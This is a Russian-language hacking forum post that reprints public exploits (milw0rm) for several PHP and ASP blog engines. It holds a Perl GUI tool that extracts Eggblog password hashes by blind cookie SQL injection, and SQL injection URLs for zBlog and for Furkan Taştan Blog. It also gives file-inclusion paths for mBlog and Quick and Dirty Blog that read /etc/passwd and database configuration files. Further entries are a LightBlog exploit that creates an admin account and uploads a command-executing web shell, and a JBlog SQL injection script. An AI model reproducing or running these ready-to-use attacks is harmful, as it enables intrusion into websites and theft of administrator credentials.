Показать сообщение отдельно

  #3  
Старый 09.06.2008, 05:44
Ded MustD!e
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
Провел на форуме:
14324684

Репутация: 3908
По умолчанию

Eggblog <= 3.1.0 Cookies SQL Injection

PHP код:
#!/usr/bin/perl

    
use Tk;
    use 
Tk::BrowseEntry;
    use 
Tk::DialogBox;
    use 
LWP::UserAgent;

    
$mw = new MainWindow(title => "UnderWHAT?!" );

    
$mw->geometry '420x343' ) ;
    
$mw->resizable(0,0);

    
$mw->Label(-text => '', -font => '{Verdana} 8',-foreground=>'red')->pack();
    
$mw->Label(-text => 'eggblog <= 3.1.0 Cookies Sql Injection', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
    
$mw->Label(-text => 'it will take about half an hour to get hashed password', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
    
$mw->Label(-text => 'you need magic_quotes_gpc turned off and mysql version higher that 4.1', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
    
$mw->Label(-text => '', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();


    
$fleft  $mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;
    
$fright $mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;

    
$url      'http://test2.ru/eggblog/home/index.php';
    
$user_id  '1';
    
$prefix   'eggblog_';
    
$table    'users';
    
$column   'user_password';
    
$report   '';
    
$group    1;
    
$curr_user 0;
    


    
$fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
    
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$url) ->pack ( -side => "top" , -anchor => 'w' ) ;

    
$fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ;
    
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$user_id) ->pack ( -side => "top" , -anchor => 'w' ) ;

    
$fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
    
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$prefix) ->pack ( -side => "top" , -anchor => 'w' ) ;

    
$fleft->Label ( -text => 'Returned hash: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
    
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$report) ->pack ( -side => "top" , -anchor => 'w' ) ;

    
$fright->Label( -text => ' ')->pack();

    
$fright->Button(-text    => 'Test blog vulnerability',
                    -
relief => "groove",
                    -
width => '30',
                    -
font => '{Verdana} 8 bold',
                    -
activeforeground => 'red',
                    -
command => \&test_vuln
                   
)->pack();
    
    
$fright->Button(-text    => 'Get hash from database',
                    -
relief => "groove",
                    -
width => '30',
                    -
font => '{Verdana} 8 bold',
                    -
activeforeground => 'red',
                    -
command => \&get_hash
                   
)->pack();
                   
                   
    
$mw   ->Label(-text => '', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
    
$fleft->Label(-text => '!', -font => '{Webdings} 22')->pack();
    
$fleft->Label(-text => 'eggblog 3.1.0', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
    
$fleft->Label(-text => 'cookie sql injection ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
    
$fleft->Label(-text => 'mysql char bruteforcing ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
    
$fleft->Label(-text => 'bug in auth function ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
    
$fleft->Label(-text => 'by gemaglabin and Elekt  ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
    
$fleft->Label(-text => '( mafia of antichat.ru ) ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
    
$fleft->Label(-text => ' 2007.02.04 ( fixed ) ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
    
$fright->Label(-text => '', -font => '{Verdana} 3 bold',-foreground=>'red')->pack();
    
$print=$fright->Text(-width=>35,-height=>5,-wrap=>"word")->pack(-side=>"top",-anchor=>"s");
    
    
MainLoop();
    
    
sub get_hash()
    {
        
srand();
        
$xpl LWP::UserAgent->new( ) or die;
        
$InfoWindow=$mw->DialogBox(-title   => 'get hash from database', -buttons => ["OK"]);
        
$i 1;
        
$b 0;
        
$report '';
        
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
        
$print->insert('end',"- Start [$hour:$min:$sec]\n");
        
my @brutearray=qw(48 49 50 51 52 53 54 55 56 57 58 97 98 99 100 101 102);
        while (
length($report)<32)
        {
            
$num $brutearray[$b];
            
$ret get_pchar();
            if(
$ret 0)
            {
                
$print->insert('end',"- char [$num] = ".chr($num)."\n");
                
$report .= chr($num);
                
$b 0;
                
$i $i +1;
                
$mw->update(); 
                break;
            }
            else
            {
                
$b $b +1;
            }
        }
        
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
        
$print->insert('end',"- Finish [$hour:$min:$sec]");
    }
        
    
sub get_pchar()
    {
        
$res $xpl->get($url,'Cookie'=>"eggblogemail=%;eggblogpassword=' or 1=if(ascii(substring((select password from ".$prefix."members where id=$user_id),$i,1))=$num,1,(select 1 union select 2))/*");
        if(
$res->as_string =~ /MySQL/i) { return 0;}
        else {return 
1;}
    }
         
    
sub test_vuln()
    {
        
$xpl LWP::UserAgent->new( ) or die;
        
$res $xpl->get($url,'Cookie'=>"eggblogemail=%;eggblogpassword='");
        if(
$res->is_success
        {
            
$rep '';
            if(
$res->as_string =~ /MySQL/i
            { 
                
$print->insert('end',"- BLOG VULNERABLE\n");
            }
            else { 
$print->insert('end',"- BLOG UNVULNERABLE\n");} 
        }
    }

# milw0rm.com [2008-01-07] 
zBlog v1.2 SQL Injection

Код:
http://www.xxx.org/zblog/index.php?page=categ&categ=-1%20union%20select%201,pseudo_admin,motdepasse_admin,4,5,6,7,8,9,10,11,12,13,14,15,16,email_admin%20from%20zblog_admins--
mBlog 1.2 Remote File Disclosure

Уязвимый код:

PHP код:
./includes/tpl.php41-56:
    ...
41   // load_tpl
42   // loding a template file into a varible.
43   // use quick_tpl to display template
44  function load_tpl ($path)
45  {
46      $tpl '';
47      global $tpl_block;
48
49      
if (substr ($path, -4) == '.tpl')
50      {
51          if (strpos (Cur_Url (), 'includes%2F') OR strpos (Cur_Url (), 'admin%2F') OR strpos (Cur_Url (), 'members%2F')) $path '../'.$path;
52          if (!file_exists ($path)) die ("<B>Template $path not found! Contact webmaster.</B>");
53          $fp fopen($path,'r');
54          while(!feof($fp)) $tpl .= fgets($fp,4096);
55          fclose ($fp);
56      }
    ...

load_tpl() 'loading a template file into a varible.' ;]


  ./
index.php24-30:
    ...
24   // proses cmd
25   switch ($mode)
26   {
27      case 'page':
28       $txt['main_body'] = quick_tpl (load_tpl ($config['skin']."/$page.tpl"), 0);
29       flush_tpl ();
30      break;
    ... 
Цитата:
(%69%6E%63%6C%75%64%65%73 = includes)
http://[host]/[path]/index.php?mode=page&page=../../%69%6E%63%6C%75%64%65%73/db_config.php%00
http://[host]/[path]/index.php?mode=page&page=../../../../../../../../etc/passwd%00
Quick and Dirty Blog 0.4 Local File Inclusion

Цитата:
/categories.php?theme=../../../../../../../../../etc/passwd%00
LightBlog 8.4.1.1 Remote Code Execution

PHP код:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "
LightBlog 8.4.1.1 Remote Code Execution Exploit
by BlackHawk <hawkgotyou@gmail.com> <http://itablackhawk.altervista.org>
Thanks to rgod for the php code and Marty for the Love

"
;
if (
$argc<3) {
echo 
"Usage: php ".$argv[0]." Host Path 
Host:          target server (ip/hostname)
Path:          path of lightblog

Example:
php "
.$argv[0]." localhost /lightblog/ dir";

die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function 
quick_dump($string)
{
  
$result='';$exa='';$cont=0;
  for (
$i=0$i<=strlen($string)-1$i++)
  {
   if ((
ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {
$result.="  .";}
   else
   {
$result.="  ".$string[$i];}
   if (
strlen(dechex(ord($string[$i])))==2)
   {
$exa.=" ".dechex(ord($string[$i]));}
   else
   {
$exa.=" 0".dechex(ord($string[$i]));}
   
$cont++;if ($cont==15) {$cont=0$result.="\r\n"$exa.="\r\n";}
  }
 return 
$exa."\r\n".$result;
}
$proxy_regex '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function 
sendpacketii($packet)
{
  global 
$proxy$host$port$html$proxy_regex;
  if (
$proxy=='') {
    
$ock=fsockopen(gethostbyname($host),$port);
    if (!
$ock) {
      echo 
'No response from '.$host.':'.$port; die;
    }
  }
  else {
        
$c preg_match($proxy_regex,$proxy);
    if (!
$c) {
      echo 
'Not a valid proxy...';die;
    }
    
$parts=explode(':',$proxy);
    echo 
"Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    
$ock=fsockopen($parts[0],$parts[1]);
    if (!
$ock) {
      echo 
'No response from proxy...';die;
        }
  }
  
fputs($ock,$packet);
  if (
$proxy=='') {
    
$html='';
    while (!
feof($ock)) {
      
$html.=fgets($ock);
    }
  }
  else {
    
$html='';
    while ((!
feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      
$html.=fread($ock,1);
    }
  }
  
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
for (
$i=3$i<=$argc-1$i++){
$cmd.=" ".$argv[$i];
}
$cmd=urlencode($cmd);


$port=80;
$proxy="";

if ((
$path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if (
$proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo 
"Step 0 - If Shell already exists, run it..\r\n";
$packet ="GET ".$p."images/piggy_marty.php?cmd=$cmd HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (
strstr($html,"666999"))
{
  echo 
"Exploit succeeded...\r\n";
  
$temp=explode("666999",$html);
  die(
"\r\n".$temp[1]."\r\n");
}

echo 
'Step 1 - Creating New User (Name: Piggy_Marty Pwd: DAFORNO_IMPERAT)..';
//Retrieving the "confirmation" code
$packet ="GET ".$p."register.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);

preg_match('#<b>([a-zA-Z0-9]+?)</b><input name="rand" type="hidden" value="([a-zA-Z0-9]+?)" />#is'$html$fuori);

$conf_code $fuori[1];
$rand_code $fuori[2];

//Doing the registration
$data="rand=$rand_code&val=$conf_code&username_post=Piggy_Marty&pwd1_post=DAFORNO_IMPERAT&pwd2_post=DAFORNO_IMPERAT&name_post=Piggy_Marty&email_post=hawkgotyou@gmail.com";
$packet="POST ".$p."register.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: localhost\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);

echo 
'Step 2 - Promoting Piggy_Marty to admin level..';
$data="type_post=admin&username_post=Piggy_Marty";
$packet="POST ".$p."cp_memberedit.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: localhost\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);

echo 
'Step 3 - Uploading Shell Creator..';
$data="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"image\"; filename=\"piggy_marty_creator.php\"\r\n";
$data.="Content-Type:\r\n\r\n";
$data.="<?php
\$fp=fopen('piggy_marty.php','w');
fputs(\$fp,'<?php error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
\$_GET[cmd]=stripslashes(\$_GET[cmd]);
}
echo 666999;
passthru(\$_GET[cmd]);
echo 666999;
?>');
fclose(\$fp);
chmod('piggy_marty.php',777);
?>\r\n"
;
$data.='-----------------------------7d529a1d23092a
Content-Disposition: form-data; name="title"

Not so good if you see this..
-----------------------------7d529a1d23092a
Content-Disposition: form-data; name="post"

An Exploit has attacked your site.. contact hawkgotyou@gmail.com for more details
-----------------------------7d529a1d23092a--
'
;
$packet="POST ".$p."main.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Referer: http://".$host.$path."/\r\n";
$packet.="Cookie: Lightblog_username=Piggy_Marty&Lightblog_password=DAFORNO_IMPERAT\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);

echo 
'Step 4 - Executing Creator..';
$packet ="GET ".$p."images/piggy_marty_creator.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
sleep(1);

echo 
"Step 5 - Execute Commands..\r\n";
$packet ="GET ".$p."images/piggy_marty.php?cmd=$cmd HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (
strstr($html,"666999"))
{
  echo 
"Exploit succeeded...\r\n";
  
$temp=explode("666999",$html);
  die(
"\r\n".$temp[1]."\r\n");
}

# Coded With BH Fast Generator v0.1
?>

# milw0rm.com [2007-10-09]
Furkan Taştan Blog SQL Injection

Цитата:
Username : /kategori.asp?kat=goster&id=-1+union+select+0,1,adkull,3,4,5,6,7,8+from+ayar
Password : /kategori.asp?kat=goster&id=-1+union+select+0,1,adsif,3,4,5,6,7,8+from+ayar
JBlog 1.0 SQL Injection

PHP код:
##################################################
#    Script....................................: JBlog ver 1.0
#    Script Site...........................: http://www.jmuller.net/jblog/index.php
#    Vulnerability........................: Remote SQL injection Exploit
#    Access..................................: Remote
#    level......................................: Dangerous
#    Author..................................: S4mi 
#    Contact.................................: S4mi[at]LinuxMail.org 
##################################################
#Special Greetz to : Simo64, DrackaNz, Coder212, Iss4m, HarDose, r0_0t, ddx39 .....
#
##################################################
#Vuln :
#http://127.0.0.1/jblog/index.php?id=[SQL]
#http://127.0.0.1/jblog/admin/modifpost.php?id=[SQL]  (shoud have access to admin area "use my last JBlog Xploit")
#Probably Other files are affected
#*************************************
#Usage  :       C:\Xploit.pl  127.0.0.1  /Jblog/
#Result Screen Shout :
#*************************************
# Connecting ...[OK]
# Sending Data ...[OK]
#
#  + Exploit succeed! Enjoy.
#  + ---------------- +
#  + Password: e10adc3949ba59abbe56e057f20f883e
#  + Username: admin
###################################################

#!/usr/bin/perl

use IO::Socket ;

&
header();

&
usage unless(defined($ARGV[0] && $ARGV[1]));

$host $ARGV[0];
$path $ARGV[1];

syswrite STDOUT ,"\n Connecting ...";

my $sock = new IO::Socket::INET PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);
                                
die 
"\n Unable to connect to $host\n" unless($sock);

syswrite STDOUT"[OK]";

$inject "union%20select%200,login,pass,3,4,5%20from%20auteur%20WHERE%20id=1/*";    

syswrite STDOUT ,"\n Sending Data ...";

print 
$sock "GET $path/index.php?id='$inject HTTP/1.1\n";
print 
$sock "Host: $host\n";
print 
$sock "Referer: $host\n";
print 
$sock "Accept-Language: en-us\n";
print 
$sock "Content-Type: application/x-www-form-urlencoded\n";
print 
$sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print 
$sock "Cache-Control: no-cache\n";
print 
$sock "Connection: Close\n\n";

syswrite STDOUT ,"[OK]\n\n";

while(
$answer = <$sock>){

if (
$answer =~ /class='titre'>(.*?)<\/span>/){
print 
"+ Exploit succeed! Enjoy.\n";
print 
"+ ---------------- +\n";
print 
"+ Password: $1\n";
}    
if(
$answer =~ / '(.*?)' /){
print 
"+ Username: $1\n";
}
}

sub usage{
    print 
"\nUsage   : perl $0 host /path/ ";
    print 
"\nExemple : perl $0 www.victim.com /JBlog/\n";
    exit(
0);
}
sub header(){
print 
q(
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Script.................: JBlog ver 1.0
Script Site
............: http://www.jmuller.net/jblog/index.php
Vulnerability..........: Remote SQL injection Exploit
Access
.................: Remote
level
..................: Dangerous 
Author
.................: S4mi
Contact
................: S4mi[at]LinuxMail.org 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
);
}

# milw0rm.com [2007-09-14] 
 
Ответить с цитированием